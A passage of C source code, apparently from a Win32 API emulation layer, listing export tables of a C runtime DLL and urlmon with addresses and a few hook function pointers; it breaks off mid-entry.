0x00024DF8, NULL, NULL},\n\t{\"_open\", 0x0001F566, NULL, NULL},\n\t{\"_open_osfhandle\", 0x0001E6B2, NULL, NULL},\n\t{\"_osplatform\", 0x00051A14, NULL, NULL},\n\t{\"_osver\", 0x00051A18, NULL, NULL},\n\t{\"_outp\", 0x0001F620, NULL, NULL},\n\t{\"_outpd\", 0x0001F63A, NULL, NULL},\n\t{\"_outpw\", 0x0001F62D, NULL, NULL},\n\t{\"_pclose\", 0x0002F6DD, NULL, NULL},\n\t{\"_pctype\", 0x0004F988, NULL, NULL},\n\t{\"_pgmptr\", 0x00051A44, NULL, NULL},\n\t{\"_pipe\", 0x0001F64A, NULL, NULL},\n\t{\"_popen\", 0x0002F290, NULL, NULL},\n\t{\"_purecall\", 0x00025F0D, NULL, NULL},\n\t{\"_putch\", 0x0001F894, NULL, NULL},\n\t{\"_putenv\", 0x00025FCC, NULL, NULL},\n\t{\"_putw\", 0x0002F771, NULL, NULL},\n\t{\"_putwch\", 0x0001D3CA, NULL, NULL},\n\t{\"_putws\", 0x0002F7F6, NULL, NULL},\n\t{\"_pwctype\", 0x0004F98C, NULL, NULL},\n\t{\"_read\", 0x0001FAA3, NULL, NULL},\n\t{\"_resetstkoflw\", 0x0001C03F, NULL, NULL},\n\t{\"_rmdir\", 0x0000F85E, NULL, NULL},\n\t{\"_rmtmp\", 0x0002F88A, NULL, NULL},\n\t{\"_rotl\", 0x00025DDE, NULL, NULL},\n\t{\"_rotr\", 0x00025E02, NULL, NULL},\n\t{\"_safe_fdiv\", 0x0003DE8C, NULL, NULL},\n\t{\"_safe_fdivr\", 0x0003DEA1, NULL, NULL},\n\t{\"_safe_fprem\", 0x0003E429, NULL, NULL},\n\t{\"_safe_fprem1\", 0x0003E42F, NULL, NULL},\n\t{\"_scalb\", 0x0003E763, NULL, NULL},\n\t{\"_scprintf\", 0x0002F990, NULL, NULL},\n\t{\"_scwprintf\", 0x0002FA3E, NULL, NULL},\n\t{\"_searchenv\", 0x00026010, NULL, NULL},\n\t{\"_seh_longjmp_unwind\", 0x00025D7A, NULL, NULL},\n\t{\"_set_SSE2_enable\", 0x00040265, NULL, NULL},\n\t{\"_set_error_mode\", 0x00025348, NULL, NULL},\n\t{\"_set_sbh_threshold\", 0x0001B6E0, NULL, NULL},\n\t{\"_seterrormode\", 0x0000E890, NULL, NULL},\n\t{\"_setjmp\", 0x0002615C, NULL, NULL},\n\t{\"_setjmp3\", 0x0002619C, NULL, NULL},\n\t{\"_setmaxstdio\", 0x0002F02C, NULL, NULL},\n\t{\"_setmbcp\", 0x0002084D, NULL, NULL},\n\t{\"_setmode\", 0x0001FBC7, NULL, NULL},\n\t{\"_setsystime\", 0x000396D3, NULL, NULL},\n\t{\"_sleep\", 0x0000E0E8, NULL, NULL},\n\t{\"_snprintf\", 0x0002FA76, NULL, NULL},\n\t{\"_snscanf\", 0x0002FAD4, NULL, NULL},\n\t{\"_snwprintf\", 0x0002FB0C, NULL, NULL},\n\t{\"_snwscanf\", 0x0002FB83, NULL, NULL},\n\t{\"_sopen\", 0x0001F5C0, NULL, NULL},\n\t{\"_spawnl\", 0x0001871F, NULL, NULL},\n\t{\"_spawnle\", 0x0001873F, NULL, NULL},\n\t{\"_spawnlp\", 0x0001876B, NULL, NULL},\n\t{\"_spawnlpe\", 0x00018789, NULL, NULL},\n\t{\"_spawnv\", 0x000187B5, NULL, NULL},\n\t{\"_spawnve\", 0x0001882E, NULL, NULL},\n\t{\"_spawnvp\", 0x000189C5, NULL, NULL},\n\t{\"_spawnvpe\", 0x000189E4, NULL, NULL},\n\t{\"_splitpath\", 0x0002621C, NULL, NULL},\n\t{\"_stat\", 0x0000F959, NULL, NULL},\n\t{\"_stat64\", 0x0000FCA2, NULL, NULL},\n\t{\"_stati64\", 0x000100A8, NULL, NULL},\n\t{\"_statusfp\", 0x0003EDC0, NULL, NULL},\n\t{\"_strcmpi\", 0x0003624E, NULL, NULL},\n\t{\"_strdate\", 0x00039DE5, NULL, NULL},\n\t{\"_strdup\", 0x00036125, NULL, NULL},\n\t{\"_strerror\", 0x00026372, NULL, NULL},\n\t{\"_stricmp\", 0x0003624E, NULL, NULL},\n\t{\"_stricoll\", 0x000362BE, NULL, NULL},\n\t{\"_strlwr\", 0x00036320, NULL, NULL},\n\t{\"_strncoll\", 0x0003643F, NULL, NULL},\n\t{\"_strnicmp\", 0x000364BF, NULL, NULL},\n\t{\"_strnicoll\", 0x00036545, NULL, NULL},\n\t{\"_strnset\", 0x000365D0, NULL, NULL},\n\t{\"_strrev\", 0x00036600, NULL, NULL},\n\t{\"_strset\", 0x00036640, NULL, NULL},\n\t{\"_strtime\", 0x00039E5C, NULL, NULL},\n\t{\"_strtoi64\", 0x0000C877, NULL, NULL},\n\t{\"_strtoui64\", 0x0000C896, NULL, NULL},\n\t{\"_strupr\", 0x00036665, NULL, NULL},\n\t{\"_swab\", 0x0000C8B5, NULL, NULL},\n\t{\"_sys_errlist\", 0x0004F9D8, NULL, NULL},\n\t{\"_sys_nerr\", 0x0004FA88, NULL, NULL},\n\t{\"_tell\", 0x0001FC63, NULL, NULL},\n\t{\"_telli64\", 0x0001FC7E, NULL, NULL},\n\t{\"_tempnam\", 0x0002FC13, NULL, NULL},\n\t{\"_time64\", 0x00039ECA, NULL, NULL},\n\t{\"_timezone\", 0x0004FFD0, NULL, NULL},\n\t{\"_tolower\", 0x0000C8E8, NULL, NULL},\n\t{\"_toupper\", 0x0000C9F5, NULL, NULL},\n\t{\"_tzname\", 0x00050060, NULL, NULL},\n\t{\"_tzset\", 0x0003A541, NULL, NULL},\n\t{\"_ui64toa\", 0x0000C319, NULL, NULL},\n\t{\"_ui64tow\", 0x0000C4C1, NULL, NULL},\n\t{\"_ultoa\", 0x0000C24E, NULL, NULL},\n\t{\"_ultow\", 0x0000C3ED, NULL, NULL},\n\t{\"_umask\", 0x0002645B, NULL, NULL},\n\t{\"_ungetch\", 0x0001EA76, NULL, NULL},\n\t{\"_ungetwch\", 0x0001ED3E, NULL, NULL},\n\t{\"_unlink\", 0x0001043E, NULL, NULL},\n\t{\"_unloaddll\", 0x000186FD, NULL, NULL},\n\t{\"_unlock\", 0x0002A519, NULL, NULL},\n\t{\"_utime\", 0x0003949E, NULL, NULL},\n\t{\"_utime64\", 0x00039631, NULL, NULL},\n\t{\"_vscprintf\", 0x0002FEA7, NULL, NULL},\n\t{\"_vscwprintf\", 0x0002FF53, NULL, NULL},\n\t{\"_vsnprintf\", 0x0002FF8A, NULL, NULL},\n\t{\"_vsnwprintf\", 0x0002FFE7, NULL, NULL},\n\t{\"_waccess\", 0x0001044E, NULL, NULL},\n\t{\"_wasctime\", 0x0003A5A9, NULL, NULL},\n\t{\"_wchdir\", 0x0001049E, NULL, NULL},\n\t{\"_wchmod\", 0x00010544, NULL, NULL},\n\t{\"_wcmdln\", 0x000517A8, NULL, NULL},\n\t{\"_wcreat\", 0x0001FC9B, NULL, NULL},\n\t{\"_wcsdup\", 0x00036784, NULL, NULL},\n\t{\"_wcserror\", 0x0002647B, NULL, NULL},\n\t{\"_wcsicmp\", 0x000367BD, NULL, NULL},\n\t{\"_wcsicoll\", 0x00036871, NULL, NULL},\n\t{\"_wcslwr\", 0x00036917, NULL, NULL},\n\t{\"_wcsncoll\", 0x00036A3B, NULL, NULL},\n\t{\"_wcsnicmp\", 0x00036ABB, NULL, NULL},\n\t{\"_wcsnicoll\", 0x00036B82, NULL, NULL},\n\t{\"_wcsnset\", 0x00036C46, NULL, NULL},\n\t{\"_wcsrev\", 0x00036C76, NULL, NULL},\n\t{\"_wcsset\", 0x00036CB2, NULL, NULL},\n\t{\"_wcstoi64\", 0x0000CD5D, NULL, NULL},\n\t{\"_wcstoui64\", 0x0000CD7C, NULL, NULL},\n\t{\"_wcsupr\", 0x00036CD4, NULL, NULL},\n\t{\"_wctime\", 0x0003A690, NULL, NULL},\n\t{\"_wctime64\", 0x0003A6B4, NULL, NULL},\n\t{\"_wenviron\", 0x00051A3C, NULL, NULL},\n\t{\"_wexecl\", 0x00018BA8, NULL, NULL},\n\t{\"_wexecle\", 0x00018BC5, NULL, NULL},\n\t{\"_wexeclp\", 0x00018BEE, NULL, NULL},\n\t{\"_wexeclpe\", 0x00018C08, NULL, NULL},\n\t{\"_wexecv\", 0x00018C31, NULL, NULL},\n\t{\"_wexecve\", 0x00018CA6, NULL, NULL},\n\t{\"_wexecvp\", 0x00018DEA, NULL, NULL},\n\t{\"_wexecvpe\", 0x00018E06, NULL, NULL},\n\t{\"_wfdopen\", 0x0003005D, NULL, NULL},\n\t{\"_wfindfirst\", 0x0000E8A5, NULL, NULL},\n\t{\"_wfindfirst64\", 0x0000EA6A, NULL, NULL},\n\t{\"_wfindfirsti64\", 0x0000EC83, NULL, NULL},\n\t{\"_wfindnext\", 0x0000E98A, NULL, NULL},\n\t{\"_wfindnext64\", 0x0000EB79, NULL, NULL},\n\t{\"_wfindnexti64\", 0x0000ED89, NULL, NULL},\n\t{\"_wfopen\", 0x000301E7, NULL, NULL},\n\t{\"_wfreopen\", 0x00030203, NULL, NULL},\n\t{\"_wfsopen\", 0x00030186, NULL, NULL},\n\t{\"_wfullpath\", 0x0001058E, NULL, NULL},\n\t{\"_wgetcwd\", 0x00010740, NULL, NULL},\n\t{\"_wgetdcwd\", 0x0001078B, NULL, NULL},\n\t{\"_wgetenv\", 0x0002655C, NULL, NULL},\n\t{\"_winmajor\", 0x00051A20, NULL, NULL},\n\t{\"_winminor\", 0x00051A24, NULL, NULL},\n\t{\"_winver\", 0x00051A1C, NULL, NULL},\n\t{\"_wmakepath\", 0x000265A0, NULL, NULL},\n\t{\"_wmkdir\", 0x000107D7, NULL, NULL},\n\t{\"_wmktemp\", 0x0001FCBA, NULL, NULL},\n\t{\"_wopen\", 0x00020055, NULL, NULL},\n\t{\"_wperror\", 0x00026658, NULL, NULL},\n\t{\"_wpgmptr\", 0x00051A48, NULL, NULL},\n\t{\"_wpopen\", 0x0003026E, NULL, NULL},\n\t{\"_wputenv\", 0x00026811, NULL, NULL},\n\t{\"_wremove\", 0x0001080E, NULL, NULL},\n\t{\"_wrename\", 0x00010853, NULL, NULL},\n\t{\"_write\", 0x00020303, NULL, NULL},\n\t{\"_wrmdir\", 0x0001088B, NULL, NULL},\n\t{\"_wsearchenv\", 0x00026855, NULL, NULL},\n\t{\"_wsetlocale\", 0x00026990, NULL, NULL},\n\t{\"_wsopen\", 0x000200AF, NULL, NULL},\n\t{\"_wspawnl\", 0x00018F5E, NULL, NULL},\n\t{\"_wspawnle\", 0x00018F7E, NULL, NULL},\n\t{\"_wspawnlp\", 0x00018FAA, NULL, NULL},\n\t{\"_wspawnlpe\", 0x00018FC8, NULL, NULL},\n\t{\"_wspawnv\", 0x00018FF4, NULL, NULL},\n\t{\"_wspawnve\", 0x0001906D, NULL, NULL},\n\t{\"_wspawnvp\", 0x000191B7, NULL, NULL},\n\t{\"_wspawnvpe\", 0x000191D6, NULL, NULL},\n\t{\"_wsplitpath\", 0x00026A51, NULL, NULL},\n\t{\"_wstat\", 0x0001098C, NULL, NULL},\n\t{\"_wstat64\", 0x00010D65, NULL, NULL},\n\t{\"_wstati64\", 0x000110EB, NULL, NULL},\n\t{\"_wstrdate\", 0x0003A6D8, NULL, NULL},\n\t{\"_wstrtime\", 0x0003A75C, NULL, NULL},\n\t{\"_wsystem\", 0x0001931E, NULL, NULL},\n\t{\"_wtempnam\", 0x00030697, NULL, NULL},\n\t{\"_wtmpnam\", 0x00030931, NULL, NULL},\n\t{\"_wtof\", 0x0000CD9B, NULL, NULL},\n\t{\"_wtoi\", 0x0000CEE3, NULL, NULL},\n\t{\"_wtoi64\", 0x0000CEF3, NULL, NULL},\n\t{\"_wtol\", 0x0000CE77, NULL, NULL},\n\t{\"_wunlink\", 0x00010843, NULL, NULL},\n\t{\"_wutime\", 0x0003A7DA, NULL, NULL},\n\t{\"_wutime64\", 0x0003A81A, NULL, NULL},\n\t{\"_y0\", 0x0003FE69, NULL, NULL},\n\t{\"_y1\", 0x0003FF9C, NULL, NULL},\n\t{\"_yn\", 0x000400DF, NULL, NULL},\n\t{\"abort\", 0x00026BB3, NULL, NULL},\n\t{\"abs\", 0x00026BD0, NULL, NULL},\n\t{\"acos\", 0x0003CA54, NULL, NULL},\n\t{\"asctime\", 0x0003A85A, NULL, NULL},\n\t{\"asin\", 0x0003CB24, NULL, NULL},\n\t{\"atan\", 0x0003CBE0, NULL, NULL},\n\t{\"atan2\", 0x0003CD00, NULL, NULL},\n\t{\"atexit\", 0x00024E35, NULL, NULL},\n\t{\"atof\", 0x0000CF90, NULL, NULL},\n\t{\"atoi\", 0x0000BF18, NULL, NULL},\n\t{\"atol\", 0x0000BE7B, NULL, NULL},\n\t{\"bsearch\", 0x00026BE5, NULL, NULL},\n\t{\"calloc\", 0x0001C0C3, NULL, NULL},\n\t{\"ceil\", 0x00040290, NULL, NULL},\n\t{\"clearerr\", 0x000309F1, NULL, NULL},\n\t{\"clock\", 0x0003A969, NULL, NULL},\n\t{\"cos\", 0x0003CD34, NULL, NULL},\n\t{\"cosh\", 0x0003CDEA, NULL, NULL},\n\t{\"ctime\", 0x0003A9F1, NULL, NULL},\n\t{\"difftime\", 0x0003AA15, NULL, NULL},\n\t{\"div\", 0x00026D46, NULL, NULL},\n\t{\"exit\", 0x00029E7E, NULL, NULL},\n\t{\"exp\", 0x0003CE20, NULL, NULL},\n\t{\"fabs\", 0x000403B2, NULL, NULL},\n\t{\"fclose\", 0x00030AB1, env_w32_hook_fclose, NULL},\n\t{\"feof\", 0x00030B07, NULL, NULL},\n\t{\"ferror\", 0x00030B1C, NULL, NULL},\n\t{\"fflush\", 0x0002EEF6, NULL, NULL},\n\t{\"fgetc\", 0x00030B31, NULL, NULL},\n\t{\"fgetpos\", 0x00030B86, NULL, NULL},\n\t{\"fgets\", 0x00030BB1, NULL, NULL},\n\t{\"fgetwc\", 0x00030D37, NULL, NULL},\n\t{\"fgetws\", 0x00030D8E, NULL, NULL},\n\t{\"floor\", 0x00040470, NULL, NULL},\n\t{\"fmod\", 0x0003CEB0, NULL, NULL},\n\t{\"fopen\", 0x0002F010, env_w32_hook_fopen, NULL},\n\t{\"fprintf\", 0x00030E13, NULL, NULL},\n\t{\"fputc\", 0x00030E76, NULL, NULL},\n\t{\"fputs\", 0x00030ED3, NULL, NULL},\n\t{\"fputwc\", 0x0003102C, NULL, NULL},\n\t{\"fputws\", 0x00031089, NULL, NULL},\n\t{\"fread\", 0x000311FB, NULL, NULL},\n\t{\"free\", 0x0001C21B, NULL, NULL},\n\t{\"freopen\", 0x0003124C, NULL, NULL},\n\t{\"frexp\", 0x00040596, NULL, NULL},\n\t{\"fscanf\", 0x000312B7, NULL, NULL},\n\t{\"fseek\", 0x0003139C, NULL, NULL},\n\t{\"fsetpos\", 0x000313EA, NULL, NULL},\n\t{\"ftell\", 0x00031574, NULL, NULL},\n\t{\"fwprintf\", 0x000315BA, NULL, NULL},\n\t{\"fwrite\", 0x0003173B, env_w32_hook_fwrite, NULL},\n\t{\"fwscanf\", 0x0003178C, NULL, NULL},\n\t{\"getc\", 0x00030B31, NULL, NULL},\n\t{\"getchar\", 0x0002EB3B, NULL, NULL},\n\t{\"getenv\", 0x00026D02, NULL, NULL},\n\t{\"gets\", 0x000317DB, NULL, NULL},\n\t{\"getwc\", 0x00030D7E, NULL, NULL},\n\t{\"getwchar\", 0x0002EB56, NULL, NULL},\n\t{\"gmtime\", 0x0003AA2D, NULL, NULL},\n\t{\"is_wctype\", 0x0000D090, NULL, NULL},\n\t{\"isalnum\", 0x0000BCEB, NULL, NULL},\n\t{\"isalpha\", 0x0000BB05, NULL, NULL},\n\t{\"iscntrl\", 0x0000BDC6, NULL, NULL},\n\t{\"isdigit\", 0x0000BBD6, NULL, NULL},\n\t{\"isgraph\", 0x0000BD7D, NULL, NULL},\n\t{\"isleadbyte\", 0x0000D0A0, NULL, NULL},\n\t{\"islower\", 0x0000BB92, NULL, NULL},\n\t{\"isprint\", 0x0000BD34, NULL, NULL},\n\t{\"ispunct\", 0x0000BCA7, NULL, NULL},\n\t{\"isspace\", 0x0000BC63, NULL, NULL},\n\t{\"isupper\", 0x0000BB4E, NULL, NULL},\n\t{\"iswalnum\", 0x0000D16D, NULL, NULL},\n\t{\"iswalpha\", 0x0000D0BF, NULL, NULL},\n\t{\"iswascii\", 0x0000D1D6, NULL, NULL},\n\t{\"iswcntrl\", 0x0000D1BE, NULL, NULL},\n\t{\"iswctype\", 0x0000D036, NULL, NULL},\n\t{\"iswdigit\", 0x0000D10A, NULL, NULL},\n\t{\"iswgraph\", 0x0000D1A3, NULL, NULL},\n\t{\"iswlower\", 0x0000D0F2, NULL, NULL},\n\t{\"iswprint\", 0x0000D188, NULL, NULL},\n\t{\"iswpunct\", 0x0000D155, NULL, NULL},\n\t{\"iswspace\", 0x0000D13D, NULL, NULL},\n\t{\"iswupper\", 0x0000D0DA, NULL, NULL},\n\t{\"iswxdigit\", 0x0000D122, NULL, NULL},\n\t{\"isxdigit\", 0x0000BC1A, NULL, NULL},\n\t{\"labs\", 0x00026BD0, NULL, NULL},\n\t{\"ldexp\", 0x00040649, NULL, NULL},\n\t{\"ldiv\", 0x00026D46, NULL, NULL},\n\t{\"localeconv\", 0x00026D67, NULL, NULL},\n\t{\"localtime\", 0x0003AB3D, NULL, NULL},\n\t{\"log\", 0x0003CEE0, NULL, NULL},\n\t{\"log10\", 0x0003D040, NULL, NULL},\n\t{\"longjmp\", 0x00026D74, NULL, NULL},\n\t{\"malloc\", 0x0001C407, env_w32_hook_malloc, NULL},\n\t{\"mblen\", 0x0000D1EC, NULL, NULL},\n\t{\"mbstowcs\", 0x0000D380, NULL, NULL},\n\t{\"mbtowc\", 0x0000D47A, NULL, NULL},\n\t{\"memchr\", 0x00036E00, NULL, NULL},\n\t{\"memcmp\", 0x00036EB0, NULL, NULL},\n\t{\"memcpy\", 0x00036F70, NULL, NULL},\n\t{\"memmove\", 0x000372B0, NULL, NULL},\n\t{\"memset\", 0x000375F0, env_w32_hook_memset, NULL},\n\t{\"mktime\", 0x0003AE8C, NULL, NULL},\n\t{\"modf\", 0x00040840, NULL, NULL},\n\t{\"perror\", 0x00026DF2, NULL, NULL},\n\t{\"pow\", 0x0003D1A0, NULL, NULL},\n\t{\"printf\", 0x0003186A, NULL, NULL},\n\t{\"putc\", 0x00030E76, NULL, NULL},\n\t{\"putchar\", 0x0002EF74, NULL, NULL},\n\t{\"puts\", 0x000318D5, NULL, NULL},\n\t{\"putwc\", 0x00031079, NULL, NULL},\n\t{\"putwchar\", 0x0002EF9F, NULL, NULL},\n\t{\"qsort\", 0x00026F50, NULL, NULL},\n\t{\"raise\", 0x0002518D, NULL, NULL},\n\t{\"rand\", 0x000271D3, NULL, NULL},\n\t{\"realloc\", 0x0001C437, NULL, NULL},\n\t{\"remove\", 0x00010409, NULL, NULL},\n\t{\"rename\", 0x0001144A, NULL, NULL},\n\t{\"rewind\", 0x00031983, NULL, NULL},\n\t{\"scanf\", 0x00031A11, NULL, NULL},\n\t{\"setbuf\", 0x00031A6A, NULL, NULL},\n\t{\"setlocale\", 0x00023C31, NULL, NULL},\n\t{\"setvbuf\", 0x00031A97, NULL, NULL},\n\t{\"signal\", 0x00024FD4, NULL, NULL},\n\t{\"sin\", 0x0003D444, NULL, NULL},\n\t{\"sinh\", 0x0003CDE0, NULL, NULL},\n\t{\"sprintf\", 0x0002F931, NULL, NULL},\n\t{\"sqrt\", 0x0003D504, NULL, NULL},\n\t{\"srand\", 0x000271BC, NULL, NULL},\n\t{\"sscanf\", 0x00031B72, NULL, NULL},\n\t{\"strcat\", 0x00036040, NULL, NULL},\n\t{\"strchr\", 0x00037660, NULL, NULL},\n\t{\"strcmp\", 0x00037730, NULL, NULL},\n\t{\"strcoll\", 0x000377B9, NULL, NULL},\n\t{\"strcpy\", 0x00036030, NULL, NULL},\n\t{\"strcspn\", 0x00037850, NULL, NULL},\n\t{\"strerror\", 0x000271FA, NULL, NULL},\n\t{\"strftime\", 0x000390CD, NULL, NULL},\n\t{\"strlen\", 0x000378A0, NULL, NULL},\n\t{\"strncat\", 0x00037920, NULL, NULL},\n\t{\"strncmp\", 0x00037A50, NULL, NULL},\n\t{\"strncpy\", 0x00037A90, NULL, NULL},\n\t{\"strpbrk\", 0x00037BA0, NULL, NULL},\n\t{\"strrchr\", 0x00037BE0, NULL, NULL},\n\t{\"strspn\", 0x00037C10, NULL, NULL},\n\t{\"strstr\", 0x00037C60, NULL, NULL},\n\t{\"strtod\", 0x0000D4AD, NULL, NULL},\n\t{\"strtok\", 0x00037CE5, NULL, NULL},\n\t{\"strtol\", 0x0000D711, NULL, NULL},\n\t{\"strtoul\", 0x0000D730, NULL, NULL},\n\t{\"strxfrm\", 0x00037DA7, NULL, NULL},\n\t{\"swprintf\", 0x0002F9C8, NULL, NULL},\n\t{\"swscanf\", 0x00031BB3, NULL, NULL},\n\t{\"system\", 0x000193C7, NULL, NULL},\n\t{\"tan\", 0x0003D5C4, NULL, NULL},\n\t{\"tanh\", 0x0003CDF1, NULL, NULL},\n\t{\"time\", 0x0003AEA3, NULL, NULL},\n\t{\"tmpfile\", 0x00031D8F, NULL, NULL},\n\t{\"tmpnam\", 0x00031CBF, NULL, NULL},\n\t{\"tolower\", 0x0000C9C9, NULL, NULL},\n\t{\"toupper\", 0x0000CAD7, NULL, NULL},\n\t{\"towlower\", 0x0000D7B7, NULL, NULL},\n\t{\"towupper\", 0x0000D877, NULL, NULL},\n\t{\"ungetc\", 0x00031F23, NULL, NULL},\n\t{\"ungetwc\", 0x00032084, NULL, NULL},\n\t{\"vfprintf\", 0x000320CF, NULL, NULL},\n\t{\"vfwprintf\", 0x00032131, NULL, NULL},\n\t{\"vprintf\", 0x00032193, NULL, NULL},\n\t{\"vsprintf\", 0x0002FE49, NULL, NULL},\n\t{\"vswprintf\", 0x0002FEDE, NULL, NULL},\n\t{\"vwprintf\", 0x000321F7, NULL, NULL},\n\t{\"wcscat\", 0x00037E61, NULL, NULL},\n\t{\"wcschr\", 0x00037EB8, NULL, NULL},\n\t{\"wcscmp\", 0x00037EE3, NULL, NULL},\n\t{\"wcscoll\", 0x00037F1F, NULL, NULL},\n\t{\"wcscpy\", 0x00037E94, NULL, NULL},\n\t{\"wcscspn\", 0x00037F81, NULL, NULL},\n\t{\"wcsftime\", 0x0003AEE3, NULL, NULL},\n\t{\"wcslen\", 0x00037FCC, NULL, NULL},\n\t{\"wcsncat\", 0x00037FEB, NULL, NULL},\n\t{\"wcsncmp\", 0x0003802F, NULL, NULL},\n\t{\"wcsncpy\", 0x0003806B, NULL, NULL},\n\t{\"wcspbrk\", 0x000380B0, NULL, NULL},\n\t{\"wcsrchr\", 0x000380F9, NULL, NULL},\n\t{\"wcsspn\", 0x00038132, NULL, NULL},\n\t{\"wcsstr\", 0x00038180, NULL, NULL},\n\t{\"wcstod\", 0x0000D8C5, NULL, NULL},\n\t{\"wcstok\", 0x000381E6, NULL, NULL},\n\t{\"wcstol\", 0x0000DC2B, NULL, NULL},\n\t{\"wcstombs\", 0x0000DE16, NULL, NULL},\n\t{\"wcstoul\", 0x0000DC4A, NULL, NULL},\n\t{\"wcsxfrm\", 0x00038292, NULL, NULL},\n\t{\"wctomb\", 0x0000DEB0, NULL, NULL},\n\t{\"wprintf\", 0x0003225B, NULL, NULL},\n\t{\"wscanf\", 0x000322C6, NULL, NULL},\n\t{0, 0, NULL}\n};\n\n\nstruct emu_env_w32_dll_export urlmon_exports[] = \n{\n\t{ \"AsyncGetClassBits\", 0x0003DF95, NULL, NULL},\n\t{ \"AsyncInstallDistributionUnit\", 0x0003DA19, NULL, NULL},\n\t{ \"BindAsyncMoniker\", 0x0002C9CF, NULL, NULL},\n\t{ \"CDLGetLongPathNameA\", 0x0003E4A5, NULL, NULL},\n\t{ \"CDLGetLongPathNameW\", 0x0003E4D0, NULL, NULL},\n\t{ \"CoGetClassObjectFromURL\", 0x0003DBF3, NULL, NULL},\n\t{ \"CoInstall\", 0x0003C747, NULL, NULL},\n\t{ \"CoInternetCombineUrl\", 0x00016459, NULL, NULL},\n\t{ \"CoInternetCompareUrl\", 0x0002E83F, NULL, NULL},\n\t{ \"CoInternetCreateSecurityManager\", 0x000030E7, NULL, NULL},\n\t{ \"CoInternetCreateZoneManager\", 0x00009BE7, NULL, NULL},\n\t{ \"CoInternetFeatureSettingsChanged\", 0x0005DFEF, NULL, NULL},\n\t{ \"CoInternetGetProtocolFlags\", 0x00054F4C, NULL, NULL},\n\t{ \"CoInternetGetSecurityUrl\", 0x0000455E, NULL, NULL},\n\t{ \"CoInternetGetSession\", 0x0000CB90, NULL, NULL},\n\t{ \"CoInternetIsFeatureEnabled\", 0x000027C0, NULL, NULL},\n\t{ \"CoInternetIsFeatureEnabledForUrl\", 0x0000BB5E, NULL, NULL},\n\t{ \"CoInternetIsFeatureZoneElevationEnabled\", 0x0002F48F, NULL, NULL},\n\t{ \"CoInternetParseUrl\", 0x0000CEAC, NULL, NULL},\n\t{ \"CoInternetQueryInfo\", 0x00015DEF, NULL, NULL},\n\t{ \"CoInternetSetFeatureEnabled\", 0x0002F5ED, NULL, NULL},\n\t{ \"CompareSecurityIds\", 0x00033BD0, NULL, NULL},\n\t{ \"CompatFlagsFromClsid\", 0x00016BB3, NULL, NULL},\n\t{ \"CopyBindInfo\", 0x000107E4, NULL, NULL},\n\t{ \"CopyStgMedium\", 0x000108A7, NULL, NULL},\n\t{ \"CreateAsyncBindCtx\", 0x00019C24, NULL, NULL},\n\t{ \"CreateAsyncBindCtxEx\", 0x00015D58, NULL, NULL},\n\t{ \"CreateFormatEnumerator\", 0x00018353, NULL, NULL},\n\t{ \"CreateURLMoniker\", 0x0000D381, NULL, NULL},\n\t{ \"CreateURLMonikerEx\", 0x0000D39F, NULL, NULL},\n\t{ \"DllCanUnloadNow\", 0x00002EEC, NULL, NULL},\n\t{ \"DllGetClassObject\", 0x00006042, NULL, NULL},\n\t{ \"DllInstall\", 0x0002CE5C, NULL, NULL},\n\t{ \"DllRegisterServer\", 0x0002CB45, NULL, NULL},\n\t{ \"DllRegisterServerEx\", 0x0002CE51, NULL, NULL},\n\t{ \"DllUnregisterServer\", 0x0002CCDD, NULL, NULL},\n\t{ \"Extract\", 0x0003EAC5, NULL, NULL},\n\t{ \"FaultInIEFeature\", 0x00017648, NULL, NULL},\n\t{ \"FindMediaType\", 0x00012AEB, NULL, NULL},\n\t{ \"FindMediaTypeClass\", 0x000182D9, NULL, NULL},\n\t{ \"FindMimeFromData\", 0x0002E810, NULL, NULL},\n\t{ \"GetClassFileOrMime\", 0x0002EED3, NULL, NULL},\n\t{ \"GetClassURL\", 0x000369FD, NULL, NULL},\n\t{ \"GetComponentIDFromCLSSPEC\", 0x0003F2DF, NULL, NULL},\n\t{ \"GetMarkOfTheWeb\", 0x0005F3DD, NULL, NULL},\n\t{ \"GetSoftwareUpdateInfo\", 0x00043A4A, NULL, NULL},\n\t{ \"HlinkGoBack\", 0x0005927C, NULL, NULL},\n\t{ \"HlinkGoForward\", 0x000592FA, NULL, NULL},\n\t{ \"HlinkNavigateMoniker\", 0x00059B99, NULL, NULL},\n\t{ \"HlinkNavigateString\", 0x00059C1D, NULL, NULL},\n\t{ \"HlinkSimpleNavigateToMoniker\", 0x00059641, NULL, NULL},\n\t{ \"HlinkSimpleNavigateToString\", 0x00059BBA, NULL, NULL},\n\t{ \"InstallFlash\", 0x0002CF6E, NULL, NULL},\n\t{ \"IsAsyncMoniker\", 0x00015324, NULL, NULL},\n\t{ \"IsJITInProgress\", 0x0003F269, NULL, NULL},\n\t{ \"IsLoggingEnabledA\", 0x0005B442, NULL, NULL},\n\t{ \"IsLoggingEnabledW\", 0x0005B563, NULL, NULL},\n\t{ \"IsValidURL\", 0x0001960A, NULL, NULL},\n\t{ \"MkParseDisplayNameEx\", 0x0002C834, NULL, NULL},\n\t{ \"ObtainUserAgentString\", 0x0003402E, NULL, NULL},\n\t{ \"PrivateCoInstall\", 0x0003DB11, NULL, NULL},\n\t{ \"RegisterBindStatusCallback\", 0x00015B6F, NULL, NULL},\n\t{ \"RegisterFormatEnumerator\", 0x00015BE6, NULL, NULL},\n\t{ \"RegisterMediaTypeClass\", 0x0002C772, NULL, NULL},\n\t{ \"RegisterMediaTypes\", 0x0002C71A, NULL, NULL},\n\t{ \"ReleaseBindInfo\", 0x0000D7B7, NULL, NULL},\n\t{ \"RevokeBindStatusCallback\", 0x00015A5E, NULL, NULL},\n\t{ \"RevokeFormatEnumerator\", 0x0002C80F, NULL, NULL},\n\t{ \"SetSoftwareUpdateAdvertisementState\", 0x00043AAE, NULL, NULL},\n\t{ \"URLDownloadA\", 0x0002F0DD, NULL, NULL},\n\t{ \"URLDownloadToCacheFileA\", 0x0005B1C1, NULL, NULL},\n\t{ \"URLDownloadToCacheFileW\", 0x0005ADA4, NULL, NULL},\n\t{ \"URLDownloadToFileA\", 0x0005B0BB, env_w32_hook_URLDownloadToFileA, NULL},\n\t{ \"URLDownloadToFileW\", 0x0005AD3E, NULL, NULL},\n\t{ \"URLDownloadW\", 0x0002E66E, NULL, NULL},\n\t{ \"URLOpenBlockingStreamA\", 0x0005B305, NULL, NULL},\n\t{ \"URLOpenBlockingStreamW\", 0x0005AF4D, NULL, NULL},\n\t{ \"URLOpenPullStreamA\", 0x0005B024, NULL, NULL},\n\t{ \"URLOpenPullStreamW\", 0x0005ACF4, NULL, NULL},\n\t{ \"URLOpenStreamA\", 0x0005B3AB, NULL, NULL},\n\t{ \"URLOpenStreamW\", 0x0005AFDA, NULL, NULL},\n\t{ \"UrlMkBuildVersion\", 